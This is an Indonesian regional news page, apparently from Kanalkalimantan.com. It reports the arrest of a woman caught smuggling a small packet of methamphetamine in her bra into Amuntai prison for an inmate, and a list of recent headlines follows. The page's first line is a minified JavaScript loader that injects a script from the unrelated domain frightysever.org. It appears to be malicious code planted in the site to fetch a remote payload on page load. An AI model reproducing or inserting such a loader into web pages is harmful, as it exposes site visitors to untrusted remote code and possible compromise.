(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Balik BH saat Besuk ke Lapas, Emak-emak Ini Ditangkap Polisi


AMUNTAI, Mencoba ‘peruntungan’ jadi kurir benda haram, itulah yang dilakoni Rusmini alias Irus (32) warga Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan ini. Bermodal nekat mengantarkan paket sabu ke dalam Lapas Amuntai, eh malah berujung ditangkap polisi.

Ya, emak-emak aliaa ibu rumah tangga ini ditangkap petugas Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai, lantaran nekat membawa 1 paket sabu dengan berat bersih 1,31 gram untuk temannya Haiman alias Man (33) yang sedang menanti vonis di Lapas Amuntai.

Man sendiri diketahui merupakan warga Desa Mangkupum RT 01 Kecamatan Muara Uya, Kabupaten Tabalong, tahanan titipan dari Polres Balangan yang masih menunggu masa vonis di Pengadilan Negeri Amuntai terkait kasus serupa. Kasat Narkoba Polres HSU Iptu Taufik Suhardiman, kepada Kanalkalimantan.com, Selasa (24/12) mengatakan, saat itu pemeriksaan Irus langsung ditangani oleh Sat Resnarkoba. Sedangkan barang haram tersebut dipesan langsung oleh  Man.

Man (33)

Dari Informasi, berawal ketika tersangka Irus dijanjikan upah sebesar Rp 300 ribu mengantar per paket. Irus datang ke Lapas Amuntai dengan niat membesuk Man. Sesampainya di penjagaan Irus diperiksa oleh petugas wanita dan dilakukan penggeledahan. Alhasil, petugas mendapati 1 paket sabu yang terbungkus dalam plastik hitam yang disimpan dalam pakaian dalam wanita (BH) di sebelah kiri.

Usut-punya usut, tersangka Irus mengaku barang tersebut milik temannya Man. Ia hanya diminta untuk mengantarkan barang tersebut ke dalam Lapas Amuntai. Petugas pun mememanggil Man yang menghuni kamar 02 dan ia mengakui dirinya yang meminta Irus untuk mengantarkan paket narkotika jenis sabu tersebut.

Barang Bukti Sabu

“Ini hasil kerjasama Lapas dan Sat Resnarkoba memerangi peredaran gelap narkoba,” ujarnya. Anggota sat  Narkoba kemudian menggelandang keduanya ke Mapolres HSU guna diproses lebih lanjut .

“Semoga ini jadi contoh bagi pemakai, pengedar  yang masih belum beraksi,” ucap Taufik.

Sementara itu, kedua tersangka bersama dengan barang bukti lainnya seperti 1 buah Hp dan 1 buah kendaraan bermotor roda dua dibawa ke kantor polisi. Keduanya terancam kasus UU RI No. 35 tahun 2009 tentang narkotika. (dew)

Reporter : Dew
Editor : Bie


Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

9 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

11 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

12 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

12 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

16 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

16 jam ago

This website uses cookies.